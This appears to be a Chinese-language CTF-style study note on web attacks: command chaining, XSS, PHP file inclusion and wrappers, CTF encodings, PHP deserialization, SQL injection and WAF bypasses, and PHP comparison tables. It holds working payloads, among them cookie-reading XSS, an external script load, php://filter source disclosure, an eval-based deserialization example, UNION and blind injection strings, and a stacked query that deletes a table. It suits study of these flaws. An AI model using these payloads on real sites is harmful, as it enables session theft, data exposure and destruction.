l & 组合命令

语法:第一条命令 & 第二条命令 [& 第三条命令…]

&、&&、||为组合命令,顾名思义,就是可以把多个命令组合起来当一个命令来执行。这在批处理脚本里是允许的,而且用的非常广泛。因为处理认行不认命令数目。

  • &这个符号允许在一行中使用 2 个以上不同的命令,当第一个命令执行失败了,也不影响后边的命令执行。这里&两边的命令是顺序执行的,从前往后执行。

  • Command 1 | Command 2

“|”是管道符,表示将Command 1的输出作为Command 2的输入,并且只打印Command 2执行的结果。

  • ; 分号

分号,当命令相同时,可以将不同目标用;来隔离,但执行效果不变,如执行过程中发生错误,则只返回错误报告,但程序仍会执行


XSS

XSS(跨站脚本攻击)

原理

XSS攻击实在网页中嵌入客户端恶意脚本代码,这些恶意代码一般

xss产生的原因主要是对html标签审查不严格造成的,这些恶意代码一般是使用JavaScript语言编写的(也有使用ActionSctipt, VBscript). 所以想深入研究XSS,必须要精通JavaScript。

JavaScript可以用来获取用户的cookie、黑掉页面、导航到恶意网站,攻击者需要做的就是向Web页面中注入JavaScript代码

下面是一个最简单的XSS漏洞实例

<form action="PrintStr" method="post" >
    <input type="text" name="username" />
    <input type="submit" value="提交" />
</form>

PrintStr 页面如下:

<%
   String name = requeset.getParameter("username");
   out.println("您输入的内容是:" + name);
   %>

攻击者可以输入<script>alert(/xss/)</script>触发XSS攻击。即在<script>标签中输入JavaScript代码,实现特殊效果。真实的攻击中,通常使用

<script src="http//:www.secbug.org/x.txt"></script> 方式加载外部脚本,x.txt中就存放着攻击者的恶意JavaScript代码,这段代码可能是用来盗取用户的cookie,也可能是监控键盘记录等恶意行为。

类型

反射型

也称为非持久型XSS,是现在最容易出现的一种XSS漏洞。

当用户访问一个带有XSS代码的URL请求时,服务器端接收数据后处理,然后把带有XSS代码的数据发送到浏览器,浏览器解析这段带有XSS代码的数据后,最终造成XSS漏洞。这个过程就像一次反射,故称为反射型XSS。

例子

下面是一个XSS的例子:

假如http://www.secbug.org/xss.php 存在XSS反射跨站漏洞,那么攻击者的步骤可能如下。

①用户HIM是网站www.secbug.org 的忠实粉丝,此时正泡在论坛看信息。
②攻击者发现www.secbug.org/xss.php 存在反射型XSS漏洞,然后精心构造 JavaScript 代码,此段代码可以盗取用户Cookie发送到指定的站点www.xxser.com.
③攻击者将带有反射型XSS漏洞的URL通过站内信发送给用户HIM,站内信为一些诱惑信息,目的是为让用户HIM单击链接。
④假设用户HIM单击了带有XSS漏洞的URL,那么将会把自己的Cookie发送到网站www.xxser.com。

⑤攻击者接收到用户HIM的会话Cookie,可以直接利用Cookie以HIM的身份登录www.secbug.org, 从而获取用户HIM的敏感信息。

存储型

存储型XSS又被称为持久性XSS,存储型XSS是最危险的一种跨站脚本。

**允许用户存储数据的Web应用程序**都可能会出现存储型XSS漏洞,当攻击者提交一段xSS代码后,被服务器端接收并存储,当攻击者再次访问某个页面时,这段XSS代码被程序读出来响应给浏览器,造成XSS跨站攻击,这就是存储型XSS。
存储型XSS与反射型XSS、DOM型XSS相比,具有更高的隐蔽性,危害性也更大。它们之间最大的区别在于**反射型XSS与DOM型XSS执行都必须依靠用户手动去触发**,而存储型XSS却不需要。

攻击者将带有XSS代码的留言提交到数据库,当用户查看这段留言时,浏览器会把XSS代码认为是正常的 JavaScript 代码来执行。所以,存储型XSS具有更高的隐蔽性。

DOM型

DOM

对于浏览器来说,DOM文档就是一份XML文档,当有了这个标准的技术之后,通过JavaScript就可以轻松的访问它们了

document对象
document.body  #提供对<body>元素的直接访问,对于定义了框架集的文档,该属性引用最外层的<frameset>
document.cookie  #设置或返回与当前文档有关的所有cookie
document.domain  #返回当前文档的域名
document.lastModified  #返回文档被最后修改的日期和时间,可以分辨静态页面、伪静态页面、动态页面
document.referrer  #返回链接到当前文档的源页面的URL
document.title  #返回当前文档的标题
document.URL  #返回当前文档的URL
document对象方法
document.open()  #打开一个流,以收集来自任何document.write()或document.writeln()方法的输出
document.close()  #关闭使用document.open()方法打开的输出流,并显示选定的数据
document.getElementById()  #返回对拥有指定ID的第一个对象的引用
document.getElementsByName()  #返回带有指定名称的对象集合
document.getElementsByTagName()  #返回带有指定标签名的对象集合
document.write()  #像文档写HTML表达式或JavaScript代码,可以接受native编码值
document.writeln()  #等同于document.write()方法,不同的是在每个表达式之后写一个换行符

如果innerHTM需要触发XSS,不能够使用标签型,需要使用事件型

<img src=1 onerror=alert(document.cookie)>

测试方法

在测试是否存在XSS时,首先要确定输入点与输出点。

如果输出的数据在属性内,那么XSS代码是不会被执行的。如:

<input type="text"name="content"value="<script>alert(1)</script>"/>
以上 JavaScript 代码虽然成功地插入到了HTML中,但却无法执行,因为XSS代码出现在Value属性中,被当作值来处理,最终浏览器解析HTML时,将会把数据以文本的形式输出在网页中。

下面米看看具体的存储型XSS漏洞,测试步骤如下:

①添加正常的留言,昵称为“Xxser”,留言内容为“ HelloWorld ”,使用Firebug快速寻找显示标签,发现标签为:

<li><strong>Xxer</strong><span class="message">HelloWorld</span>
    <span class="time">2021-11-20 15:06</span>
</li>

②如果显示区域不在HTML属性内,则可以直接使用XSS代码注入。如果说不能得知内容输出的具体位置,则可以使用模糊测试方案,XSS代码如下。

  • <script>alert(document. cookie)</script>普通注入;

  • "/><script>alert(document. cookie)</script>:闭合标签注入;

  • </textarea>""><script>alert(document. cookie)</script>:闭合标签注入。

常见的playload

<script>alert(document.cookie)</script>

<body onload=alert(document.cookie)>

<img src="" onerror=alert(document.cookie)>

<a href='' onclick=alert(document.cookie)>click</a>

<a href='' onclick=alert(document.cookie)>click</a>


文件包含漏洞

为了更好地使用代码的重用性,可以使用文件包含函数将文件包含进来,直接使用文件中的代码来提高重用性。但是这也产生了文件包含漏洞,产生原因是在通过 PHP 的函数引入文件时,为了灵活包含文件会将被包含文件设置为变量,通过动态变量来引入需要包含的文件。此时用户可以对变量的值可控,而服务器端未对变量值进行合理地校验或者校验被绕过,就会导致文件包含漏洞。

文件包含函数

函数 功能
include() 代码执行到 include() 函数时将文件包含
include_once() 当重复调用同一文件时只调用一次,功能与 include() 相同
require() require() 执行如果发生错误,函数会报错并终止脚本
require_once() 当重复调用同一文件时只调用一次,功能与 require() 相同

本地包含

当包含的文件在服务器本地时,就形成了本地文件包含。文件包含可以包含任意文件,被包含的文件可以不是 PHP 代码,可以是文本或图片等。只要文件被包含就会被服务器脚本语言执行,如果包含的文件内容不符合 php 语法,会直接将文件内容输出。

该文件可以是任何类型,无论它是被删除的文件类型、图片还是任意的内容,都包括在内。

简单的php代码:

<?php
    $file = $_GET['file'];
    include($file);
?>

远程包含

当包含的文件在远程服务器上时,就形成了远程文件包含。有两个要点:

allow_url_include = on(是否允许 include/require 远程文件)
allow_url_fopen = on(是否允许打开远程文件

所包含远程服务器的文件后缀不能与目标服务器语言相同

第二点的解释:如果你的远程文件具有.php后缀,并且你的远程文件内容如下所示:

<? php phpinfo ();?>

那么在远程服务器执行phpinfo()之后,你就可以获得目标服务器的内容。但由于它不会运行代码,所以包含的信息不是目标服务器,而是远程服务器。

由于目标服务器不包含此代码:<? php phpinfo ();?>此时,远程服务器会执行此代码的源代码


当php代码对包含的文件有限制时的技巧

如下代码:

<?php
    Include  $_GET['page'].".php"
?>

限制包含的文件后缀是php。可以用空字符%00截断。

原理:

由于 PHP 使用底层 c 函数进行与文件系统相关的操作,它可能以一种非常意想不到的方式处理空字节。由于 null 字节表示 c 语言中字符串的结束,因此不会完全考虑包含它们的字符串,而只是在出现 null 字节之前考虑。(php官网翻译来的(权威))

伪协议

php伪协议

PHP 伪协议是 PHP 支持的协议与封装协议,几个 PHP 支持的伪协议如下。

伪协议 功能
file:// 访问本地文件系统
http:// 访问 HTTP(s) 网址
php:// 访问各个输入/输出流
phar:// PHP 归档
zip:// 压缩流
例如在 allow_url_include = on 时服务器上有个文件叫 index.php,且存在文件包含漏洞,这个时候就能用 php 伪协议直接把文件显示出来。

?file=php://filter/read=convert.base64-encode/resource=index.php

php://filter/ 是一种访问本地文件的协议,/read=convert.base64-encode/ 表示读取的方式是 base64 编码后,resource=index.php 表示目标文件为index.php。问什么要进行 base64 编码呢?如果不进行 base64 编码传入,index.php 就会直接执行,我们就看不到文件中的内容了。php 协议还常用 php://input,这可以访问请求的原始数据的只读流,可以读取 POST 请求的参数。

data 伪协议

php 5.2.0 起,数据流封装器开始有效,主要用于数据流的读取,如果传入的数据是PHP代码就会执行代码。使用方法为:

data://text/plain;base64,xxxx(base64编码后的数据)

CTF常见的编码

ASCII编码

简述 :

ASCII 码是对英语字符与二进制位之间的关系,做了统一规定。

基本的 ASCII 字符集共有 128 个字符,其中有 96 个可打印字符,包括常用的字母、数字、标点符号等,

如:空格SPACE 是32(二进制:00100000);

数字0 是48(二进制:00110000);

大写字母A 是65(二进制:01000001)。

另外还有 32 个控制字符(不能打印出来)。

这128个符号,只占用了一个字节的后面7位,最前面的一位统一规定为0。

特征: 只含有数字

  • 0-9, 49-57
  • A-Z, 65-90
  • a-z, 97-122

base家族编码

base16 / base32 / base64 / base58 / base85 / base 100

简述:

**Base16编码是将二进制文件转换成由16个字符组成的文本 **

base32的编码表是由(A-Z、2-7)32个可见字符构成,“=”符号用作后缀填充。

base64的编码表是由(A-Z、a-z、0-9、+、/)64个可见字符构成,“=”符号用作后缀填充。

base58的编码表相比base64少了数字0,大写字母I,O,小写字母 l (这个是L),以及符号‘+’和‘/’

base91的密文由91个字符(0-9,a-z,A-Z,!#$%&()*+,./:;<=>?@[]^_`{|}~”)组成

**Base100编码/解码工具(又名:Emoji表情符号编码/解码),可将文本内容编码为Emoji表情符号;同时也可以将编码后的Emoji表情符号内容解码为文本。 **

特征:末尾可能有=号

MD5

简述:

一般MD5值是32位由数字“0-9”和字母“a-f”所组成的字符串,字母大小写统一;如果出现这个范围以外的字符说明这可能是个错误的md5值,就没必要再拿去解密了。

16位值是取的是8~24位。

特征:

有固定长度,一般是32位或者16位

由数字“0-9”和字母“a-f”组成大小写统一


PHP序列化与反序列化

概念

类 :对现实生活中一类具有共同特征的事物的抽象
对象:所说的事物
属性:类中对象所具有的性质
方法:可以用来操作该对象或者该对象可以使用那些方法
<?php
	class class_test{
    	var $a;  //a 是属性
    
    	public function echo_var(){  //方法,也就是函数
        	echo "this is a" . $this->$a;
    	}
	}
	$test = new class_test(); //创建一个对象
	$test->a = "first";  //为test对象中的a属性赋值
	$test->echo_var();  //调用class_test中的echo_var()函数
?>

序列化与反序列化

把对象转换为字节序列的过程称为对象的序列化。

PHP中所有的值都可以用函数 serialize() 返回的一个包含字节流的字符串来表示 , 序列化一个对象会保存当前对象的所有变量 , 会保留类的名字 , 但是不会保存对象的方法

PHP反序列化就是通过 unserialize() 重新把字符串变回原来的值 . 如果反序列化的变量为对象( Object ) , 那么在成功重构对象后PHP会自动调用 __wakeup()成员方法 .

简单的来说 , PHP序列化就是把代码中所有的 对象 , 类 , 数组 , 变量 , 匿名函数 … 全部转换为一个字符串 , 提供给用户传输和存储 . 而反序列化就是把字符串重新转换为 对象 , 类 , 数组 , 变量 , 匿名函数 . 通过这种相互转换 ,从而完成 数据持久化

private , protected , public , 它们经过序列化后的字符串是有区别的

private
数据类型:属性名长度:"\00类名\00属性名";数据类型:属性值长度:"属性值"

protected
数据类型:属性名长度:"\00*\00属性名";数据类型:属性值长度:属性值

public
数据类型:属性名长度:属性名;数据类型:属性值长度:属性值

private属性序列化的时候格式是 %00类名%00成员名

protected属性序列化的时候格式是 %00*%00成员名

关键要点:

在Private 权限私有属性序列化的时候格式是 %00类名%00属性名

在Protected 权限序列化的时候格式是 %00*%00属性名

序列化只序列化属性,不序列化方法,这个性质就引出了两个非常重要的话题:
(1)我们在反序列化的时候一定要保证在当前的作用域环境下有该类存在

这里不得不扯出反序列化的问题,这里先简单说一下,反序列化就是将我们压缩格式化的对象还原成初始状态的过程(可以认为是解压缩的过程),因为我们没有序列化方法,因此在反序列化以后我们如果想正常使用这个对象的话我们必须要依托于这个类要在当前作用域存在的条件。

(2)我们在反序列化攻击的时候也就是依托类属性进行攻击

因为没有序列化方法嘛,我们能控制的只有类的属性,因此类属性就是我们唯一的攻击入口,在我们的攻击流程中,我们就是要寻找合适的能被我们控制的属性,然后利用它本身的存在的方法,在基于属性被控制的情况下发动我们的发序列化攻击(这是我们攻击的核心思想,这里先借此机会抛出来,大家有一个印象)

魔术方法

前面有两个下划线__

__wakeup() 使用unserialize时触发
__sleep() 使用serialize时触发
__destruct() 对象被销毁时触发
__call() 在对象上下文中调用不可访问的方法时触发
__callStatic() 在静态上下文中调用不可访问的方法时触发
__get() 用于从不可访问的属性读取数据
__set() 用于将数据写入不可访问的属性
__isset() 在不可访问的属性上调用isset()或empty()触发
__unset() 在不可访问的属性上使用unset()时触发
__toString() 把类当作字符串使用时触发
__invoke() 当脚本尝试将对象调用为函数时触发
__construct() 在类被创建成对象前调用

利用反序列化漏洞

\1. PHP序列化给我们传递对象提供了一种简单的方法 , 反序列化的数据本质上是没有危害的
\2. 但是用户可控参数的反序列化数据是有危害的
\3. 当用户利用魔术方法或者其他敏感函数进行恶意操作时 , 会出现安全问题

利用魔术方法

<?php
class A{
    var $test = "demo";
    function __destruct(){
        @eval($this->test);
    }
}
$test = $_POST['test'];
$len = strlen($test)+1;
$p = "O:1:\"A\":1:{s:4:\"test\";s:".$len.":\"".$test.";\";}"; // 构造序列化对象
$test_unser = unserialize($p); // 反序列化同时触发_destruct函数
?>

当POST传入的参数是phpinfo()就可以看到php的配置信息了。

PHP 反序列化漏洞的方法或者说流程
(1) 寻找 unserialize() 函数的参数是否有我们的可控点 (2) 寻找我们的反序列化的目标,重点寻找 存在 wakeup() 或 destruct() 魔法函数的类 (3) 一层一层地研究该类在魔法方法中使用的属性和属性调用的方法,看看是否有可控的属性能实现在当前调用的过程中触发的 (4) 找到我们要控制的属性了以后我们就将要用到的代码部分复制下来,然后构造序列化,发起攻击

参考链接:https://www.cnblogs.com/fish-pompom/p/11126473.html

https://www.cnblogs.com/youyoui/p/8610068.html

https://www.cnblogs.com/bmjoker/p/13742666.html


SQL注入

SQL注入是开发者对用户输入的参数过滤不严格,导致用户输入的数据能够影响预设查询功能的一种技术,通常将导致数据库的原有信息泄露、篡改,甚至被删除。本节用一些简单的例子详细介绍SQL注入的基础,包括数字型注入、UNION注入、字符型注入、布尔盲注、时间注入、报错注入和堆叠注入等注入方式和对应的利用技巧。

数字型和UNION 型注入

数字型的特征是会对输入的表达式进行运算:

?id=2?id=3-1的结果是一样的

在源码上的表现是输入点$_GET['id']附近没有单引号或者双引号

浏览器会自动将URL中的特殊字符进行URL编码,服务器收到请求后会自动进行URL解码

使用UNION语句时,不会显示我们所期望的内容的为问题,事实上,MySQL确实查询出了两行记录,但是PHP代码决定了该页面只显示一行记录,所以我们需要将账号密码的记录显示在查询结果的第一行。此时有多种办法,如可以继续在原有数据后面加上“limit 1,1”参数(显示查询结果的第2条记录)。“limit 1,1”是一个条件限定,作用是取查询结果第1条记录后的1条记录。又如,指定id=-1或者一个很大的值,使得图1-2-9中的第一行记录无法被查询到,这样结果就只有一行记录了。

一般过程
  1. 获取库名?id=-1 union select database()在这个语句中要注意union前后查询的列数要一致。所以先用order by 1/2/3/4确定本来查询的列数

  2. 获取表名?id=-1 union select group_concat(table_name) from information_schema.tables where table_schema=database()

    MySQL 5.0版本后,默认自带一个数据库information_schema,MySQL的所有数据库名、表名、字 段名都可以从中查询到。

    table_name字段是information_schema库的tables表的表名字段。表中还有数据库名字段table_ schema 。

  3. 获取字段名?id=-1 union select group_concat(column_name) from information_schema.columns where table_name='表名'

  4. 获取值?id=-1 union select ....(字段名) from 表名

字符型注入和布尔盲注

与数字型相比,只是在GET参数输入的地方包裹了单引号,让其变成字符串。

‘1’=1, ‘1a’=1, 'a'=0;

在MySQL中,等号两边如果类型不一致,则会发生强制转换。当数字与字符串数据比较时,字符串将 被转换为数字,再进行比较。字符串1与数字相等;字符串1a被强制转换成1,与1相 等;字符串a被强制转换成0所以与0相等。

在注入时,尝试使用单引号来闭合前面的单引号,再用“–%20”或“%23”注释后面的语句。注意,这里一定要URL编码,空格的编码是“%20”,“#”的编码是“%23”。

当然,除了注释,也可以用单引号来闭合后面的单引号。


布尔盲注就是利用AND条件前后都要满足,来推断出数据的技术。

利用MySQL自带的函数进行数据截取,如substring()、mid()、 substr ()来快速推测出数据

id=1'and (select mid((select concat(user, 0x7e,pwd)from wp_user),1,1))='a'%23可以判断出user的第一位是不是’a’

堆叠注入

30

部分源码如上

可以在闭合单引号后执行任何SQL语句

id=1'; delete * from wp_files; # 删除了表wp_files的所有数据

;号用来分开两个SQL语句

SQL注入bypass方法

利用一些方法去绕过WAF

空格绕过

在SQL注入时当空格被过滤了,在MySQL中可以使用:

%09%0A %0B %0C %0D %A0 %20 /**/

%09%0A %09 ascii 对应的是水平制表符 %0A是换行

%0B 垂直制表符

%0C 换页键

%0D 回车键

%A0 是扩展的ascii 代表空格

%20 空格

注释符

在SQL注入中使用的注释符主要为:#, --+/*xxx*//*!xxx*//*!50000xxx*/ ,在实际场景中可以将这些注释符嵌套应用,会有意想不到的效果,比如只需利用一个*/闭合多个/*

特殊符号

经常在SQL注入时使用一些特殊符号即可绕过很多WAF规则,比如~!, @ {x key}1.11e1 ()emoji表情符号@:=等,在实际场景中将这些符号灵活应用就可以绕过很多WAF

WAF过滤掉()

这样的话就不能直接使用自带的函数,这时可以使用like或者regexp获取数据

  • LIKE

    匹配整个列。如果被匹配的文本在列值 中出现,LIKE将不会找到它,相应的行也不被返回(除非使用 通配符)。

  • REGEXP在列值内进行匹配,如果被匹配的文本在 列值中出现,REGEXP将会找到它,相应的行将被返回。

使用LIKE的话还有用到通配符

SQL中,通配符可用于”LIKE”表达式中,百分号(%)匹配零个或多个字符,下划线(_)匹配单个字符。

Transact-SQL中还支持使用方括号(“[“和”]”)来匹配列表集和字符范围,在前面加一个 ^ 表示否定,将匹配所有未在括号中指定的字符。

Microsoft Access中,通配符可用于”LIKE”表达式中,星号(*)匹配零个或多个字符,问号(?)匹配单个字符。在 SAP 中加号(+)匹配一个字符。

但是,如果使用正则的话,就直接 SELECT * FROM STU WHERE SNO REGEXP '108'; 这样的操作即可!

过滤SELECT

将SELECT替换成空,可以用嵌套的方式绕过 selselectect 过滤掉中间的select两边合上还是select

一些其他方法

  • 过滤逗号了可以使用join;
  • 过滤了关键字可以使用编码结合注释;
  • 过滤常用函数可以找非常用函数代替等等。
  • 大小写组合

php数据比较

                                                        **多种类型比较**
运算数 1 类型 运算数 2 类型 结果
null 或 string string null 转换为 “”,进行数字或词汇比较
bool 或 null 任何其它类型 转换为 bool,**false** < true
object object 内置类可以定义自己的比较,不同类不能比较,相同类和数组同样方式比较属性(PHP 4 中),PHP 5 有其自己的说明
string、resource、int、float string、resource、int、float 将字符串和资源转换成数字,按普通数学比较
array array 具有较少成员的数组较小,如果运算数 1 中的键不存在于运算数 2 中则数组无法比较,否则挨个值比较(见下例)
object 任何其它类型 object 总是更大
array 任何其它类型 array 总是更大
                                                            **松散比较`==`**
true false 1 0 -1 "1" "0" "-1" null [] "php" ""
true true false true false true true false true false false true false
false false true false true false false true false true true false true
1 true false true false false true false false false false false false
0 false true false true false false true false true false false* false*
-1 true false false false true false false true false false false false
"1" true false true false false true false false false false false false
"0" false true false true false false true false false false false false
"-1" true false false false true false false true false false false false
null false true false true false false false false true true false true
[] false true false false false false false false true true false false
"php" true false false false* false false false false false false true false
"" false true false false* false false false false true false false true
                                                        **严格比较 `===`**
true false 1 0 -1 "1" "0" "-1" null [] "php" ""
true true false false false false false false false false false false false
false false true false false false false false false false false false false
1 false false true false false false false false false false false false
0 false false false true false false false false false false false false
-1 false false false false true false false false false false false false
"1" false false false false false true false false false false false false
"0" false false false false false false true false false false false false
"-1" false false false false false false false true false false false false
null false false false false false false false false true false false false
[] false false false false false false false false false true false false
"php" false false false false false false false false false false true false
"" false false false false false false false false false false false true